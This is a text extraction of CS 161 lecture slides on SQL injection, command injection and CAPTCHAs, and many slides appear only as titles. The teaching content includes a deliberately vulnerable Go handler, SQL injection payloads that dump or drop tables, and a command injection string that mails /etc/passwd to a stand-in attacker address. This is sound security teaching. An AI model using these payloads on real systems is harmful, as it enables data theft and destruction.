SQL Injection and CAPTCHAs
CS 161 Fall 2022 - Lecture 15
Computer Science 161
Fall 2022
Last Time: XSS
2
Computer Science 161
Fall 2022
Last Time: XSS Defenses
3
Computer Science 161
Fall 2022
Last Time: Clickjacking
4
Computer Science 161
Fall 2022
Last Time: Phishing
5
Computer Science 161
Fall 2022
Today: SQL Injection and CAPTCHAS
6
Computer Science 161
Fall 2022
SQL Injection
7
Textbook Chapter 17
Computer Science 161
Fall 2022
Top 25 Most Dangerous Software Weaknesses (2020)
8
Rank | ID | Name | Score |
[1] | Improper Neutralization of Input During Web Page Generation (’Cross-site Scripting’) | 46.82 | |
[2] | Out-of-bounds Write | 46.17 | |
[3] | Improper Input Validation | 33.47 | |
[4] | Out-of-bounds Read | 26.50 | |
[5] | Improper Restriction of Operations within the Bounds of a Memory Buffer | 23.73 | |
[6] | Improper Neutralization of Special Elements used in an SQL Command (’SQL Injection’) | 20.69 | |
[7] | Exposure of Sensitive Information to an Unauthorized Actor | 19.16 | |
[8] | Use After Free | 18.87 | |
[9] | Cross-Site Request Forgery (CSRF) | 17.29 | |
[10] | Improper Neutralization of Special Elements used in an OS Command (’OS Command Injection’) | 16.44 | |
[11] | Integer Overflow or Wraparound | 15.81 | |
[12] | Improper Limitation of a Pathname to a Restricted Directory (’Path Traversal’) | 13.67 | |
[13] | NULL Pointer Dereference | 8.35 | |
[14] | Improper Authentication | 8.17 | |
[15] | Unrestricted Upload of File with Dangerous Type | 7.38 | |
[16] | Incorrect Permission Assignment for Critical Resource | 6.95 | |
[17] | Improper Control of Generation of Code (’Code Injection’) | 6.53 |
Computer Science 161
Fall 2022
Structure of Web Services
9
Computer Science 161
Fall 2022
Structure of Web Services
10
Client
Handle HTML, CSS, JavaScript, etc.
Web Server
Process requests and handle server-side logic
Database Server
Store and provide access to persistent data
2. HTTP GET request
3. Interpret request
4. Query database
5. Return data
6. Construct response
7. HTTP response
1. User requests page
8. Browser renders page
HTTP
SQL (usually)
Computer Science 161
Fall 2022
Databases
11
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL
12
Computer Science 161
Fall 2022
SQL: SELECT
13
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL: SELECT
SELECT name, age FROM bots
14
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
name | age |
evanbot | 3 |
codabot | 2.5 |
pintobot | 1.5 |
3 rows, 2 columns | |
Selected 2 columns from the table, keeping all rows.
Computer Science 161
Fall 2022
SQL: SELECT
SELECT * FROM bots
15
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
The asterisk (*) is shorthand for “all columns.” Select all columns from the table, keeping all rows.
Computer Science 161
Fall 2022
SQL: SELECT
SELECT 'CS', '161' FROM bots
16
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
id | name |
CS | 161 |
CS | 161 |
CS | 161 |
3 rows, 2 columns | |
Select constants instead of columns
Computer Science 161
Fall 2022
SQL: WHERE
17
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL: WHERE
SELECT * FROM bots�WHERE likes = 'pancakes'
18
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
Choose only the rows where the likes column has value pancakes
id | name | likes | age |
1 | evanbot | pancakes | 3 |
1 row, 4 columns | |||
Computer Science 161
Fall 2022
SQL: WHERE
SELECT name FROM bots�WHERE age < 2 OR id = 1
19
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
Get all names of bots whose age is less than 2 or whose id is 1
name |
evanbot |
pintobot |
2 rows, 1 column |
(selected because id is 1)
(selected because age is 1.5)
Computer Science 161
Fall 2022
SQL: INSERT INTO
20
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL: INSERT INTO
INSERT INTO items VALUES�(4, 'willow', 'catnip', 5),�(5, 'luna', 'naps', 7)
21
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
4 | willow | catnip | 5 |
5 | luna | naps | 7 |
5 rows, 4 columns | |||
This statement results in two extra rows being added to the table
Computer Science 161
Fall 2022
SQL: UPDATE
22
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
4 | willow | catnip | 5 |
5 | luna | naps | 7 |
5 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL: UPDATE
UPDATE bots�SET age = 6�WHERE name = 'willow'
23
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
4 | willow | catnip | 6 |
5 | luna | naps | 7 |
5 rows, 4 columns | |||
This statement results in this cell in the table being changed. If the WHERE clause was missing, every value in the age column would be set to 6.
Computer Science 161
Fall 2022
SQL: DELETE
24
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
4 | willow | catnip | 6 |
5 | luna | naps | 7 |
5 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL: DELETE
DELETE FROM bots�WHERE age >= 6
25
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
4 | willow | catnip | 6 |
5 | luna | naps | 7 |
3 rows, 4 columns | |||
This statement results in two rows being deleted from the table
Computer Science 161
Fall 2022
SQL: CREATE
26
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL: CREATE
CREATE TABLE cats (� id INT,� name VARCHAR(255),� likes VARCHAR(255),� age INT�)
27
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
cats | |||
id | name | likes | age |
0 rows, 4 columns | |||
This statement results in a new table being created with the given columns
Note: VARCHAR(255) is a string type
Computer Science 161
Fall 2022
SQL: DROP
28
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
3 rows, 4 columns | |||
cats | |||
id | name | likes | age |
0 rows, 4 columns | |||
Computer Science 161
Fall 2022
SQL: DROP
DROP TABLE bots
29
bots | |||
id | name | likes | age |
1 | evanbot | pancakes | 3 |
2 | codabot | hashes | 2.5 |
3 | pintobot | beans | 1.5 |
0 rows, 0 columns | |||
cats | |||
id | name | likes | age |
0 rows, 4 columns | |||
This statement results in the entire bots table being deleted
Computer Science 161
Fall 2022
SQL: Syntax Characters
30
Computer Science 161
Fall 2022
A Go HTTP Handler (Again)
31
func handleGetItems(w http.ResponseWriter, r *http.Request) {
itemName := r.URL.Query()["item"][0]
db := getDB()
query := fmt.Sprintf("SELECT name, price FROM items WHERE name = '%s'", itemName)
row, err := db.QueryRow(query)
...
}
SELECT item, price FROM items WHERE name = 'paperclips'
https://vulnerable.com/get-items?item=paperclips
Handler
URL
Query
Remember this string manipulation issue?
Computer Science 161
Fall 2022
A Go HTTP Handler (Again)
32
func handleGetItems(w http.ResponseWriter, r *http.Request) {
itemName := r.URL.Query()["item"][0]
db := getDB()
query := fmt.Sprintf("SELECT name, price FROM items WHERE name = '%s'", itemName)
row, err := db.QueryRow(query)
...
}
SELECT item, price FROM items WHERE name = '''
https://vulnerable.com/get-items?item='
Handler
URL
Query
Invalid SQL executed by the server, 500 Internal Server Error
Computer Science 161
Fall 2022
A Go HTTP Handler (Again)
33
func handleGetItems(w http.ResponseWriter, r *http.Request) {
itemName := r.URL.Query()["item"][0]
db := getDB()
query := fmt.Sprintf("SELECT name, price FROM items WHERE name = '%s'", itemName)
row, err := db.QueryRow(query)
...
}
SELECT item, price FROM items WHERE name = '' OR '1' = '1'
https://vulnerable.com/get-items?item=' OR '1' = '1
Handler
URL
Query
This is essentially OR TRUE, so returns every item!
Computer Science 161
Fall 2022
A Go HTTP Handler (Again)
34
func handleGetItems(w http.ResponseWriter, r *http.Request) {
itemName := r.URL.Query()["item"][0]
db := getDB()
query := fmt.Sprintf("SELECT name, price FROM items WHERE name = '%s'", itemName)
row, err := db.QueryRow(query)
...
}
SELECT item, price FROM items WHERE name = ''; DROP TABLE items --'
https://vulnerable.com/get-items?item='; DROP TABLE items --
Handler
URL
Query
For this payload: End the first quote ('), then start a new statement (DROP TABLE items), then comment out the remaining quote (--)
Computer Science 161
Fall 2022
SQL Injection
35
Computer Science 161
Fall 2022
Exploits of a Mom
36
Computer Science 161
Fall 2022
Roadside SQLi
37
Computer Science 161
Fall 2022
Blind SQL Injection
38
Computer Science 161
Fall 2022
Blind SQL Injection Tools
39
Computer Science 161
Fall 2022
SQL Injection Defenses
40
func handleGetItems(w http.ResponseWriter, r *http.Request) {
itemName := r.URL.Query()["item"][0]
itemName = sqlEscape(itemName)
db := getDB()
query := fmt.Sprintf("SELECT name, price FROM items WHERE name = '%s'", itemName)
row, err := db.QueryRow(query)
...
}
Computer Science 161
Fall 2022
SQL Injection Defenses
41
func handleGetItems(w http.ResponseWriter, r *http.Request) {
itemName := r.URL.Query()["item"][0]
db := getDB()
row, err := db.QueryRow("SELECT name, price FROM items WHERE name = ?", itemName)
...
}
Computer Science 161
Fall 2022
SQL Injection Defenses
42
Computer Science 161
Fall 2022
Command Injection
43
Computer Science 161
Fall 2022
Command Injection
44
Computer Science 161
Fall 2022
system Command Injection
45
void find_employee(char *regex) {
char cmd[512];
snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);
system(cmd);
}
grep 'weaver' phonebook.txt
regex = "weaver"
Handler
Parameter
system Command
String manipulation again!
Computer Science 161
Fall 2022
system Command Injection
46
void find_employee(char *regex) {
char cmd[512];
snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);
system(cmd);
}
grep ''; mail mallory@evil.com < /etc/passwd; touch '' phonebook.txt
regex = "'; mail mallory@evil.com < /etc/passwd; touch '"
Handler
Parameter
system Command
Computer Science 161
Fall 2022
Defending Against Command Injection in General
47
Computer Science 161
Fall 2022
CAPTCHAs
48
Computer Science 161
Fall 2022
Websites are for Humans
49
Computer Science 161
Fall 2022
CAPTCHAs: Definition
50
Computer Science 161
Fall 2022
CAPTCHAs: Examples
51
Computer Science 161
Fall 2022
CAPTCHAs and Machine Learning
52
Computer Science 161
Fall 2022
CAPTCHAs and Machine Learning
53
Takeaway: Modern CAPTCHAs are used to train machine learning algorithms
Computer Science 161
Fall 2022
CAPTCHAs: Issues
54
Computer Science 161
Fall 2022
CAPTCHAs: Attacks
55
Computer Science 161
Fall 2022
SQL Injection: Summary
56
Computer Science 161
Fall 2022
CAPTCHAs: Summary
57
Computer Science 161
Fall 2022
Optional Bonus Slides: SQL Injection Demo
58
Computer Science 161
Fall 2022
SQL injection step 1: what does the SQL interpreter see?
59
Computer Science 161
Fall 2022
SQL injection step 1: what does the SQL interpreter see?
60
> INSERT INTO cart (session, item)� VALUES ('____________', '____________')
sessionToken item
Computer Science 161
Fall 2022
SQLi Step 2: what do we want the SQL interpreter to see?
61
Computer Science 161
Fall 2022
SQLi Step 2: what do we want the SQL interpreter to see?
62
Computer Science 161
Fall 2022
SQLi Step 2: what do we want the SQL interpreter to see?
63
> INSERT INTO cart (session, item)� VALUES ('123', 'toilet paper'), ('123', 'toilet paper'),
('123', 'toilet paper'), ... ('123', 'toilet paper')
Computer Science 161
Fall 2022
SQL injection step 3: compare
The SQL interpreter sees:
> INSERT INTO cart (session, item)� VALUES ('____________', '____________')
sessionToken item
We want the SQL interpreter to see:�
> INSERT INTO cart (session, item)� VALUES ('123', 'toilet paper'), ('123', 'toilet paper'),
('123', 'toilet paper'), ... ('123', 'toilet paper')
Computer Science 161
Fall 2022
SQL injection step 3: compare
The SQL interpreter sees:
> INSERT INTO cart (session, item)� VALUES ('____________', '____________')
sessionToken item
We want the SQL interpreter to see:�
> INSERT INTO cart (session, item)� VALUES ('123', 'toilet paper'), ('123', 'toilet paper'),
('123', 'toilet paper'), ... ('123', 'toilet paper')
Computer Science 161
Fall 2022
SQL injection step 4: ??? step 5: profit
The SQL interpreter sees:
> INSERT INTO cart (session, item)� VALUES ('____________', '____________')
sessionToken item
We want the SQL interpreter to see:�
> INSERT INTO cart (session, item)� VALUES ('123', 'toilet paper'), ('123', 'toilet paper'),
('123', 'toilet paper'), ... ('123', 'toilet paper')
sessionToken = 123
item = toilet paper'), ('123', 'toilet paper'),
('123', 'toilet paper'), ... ('123', 'toilet paper
Computer Science 161
Fall 2022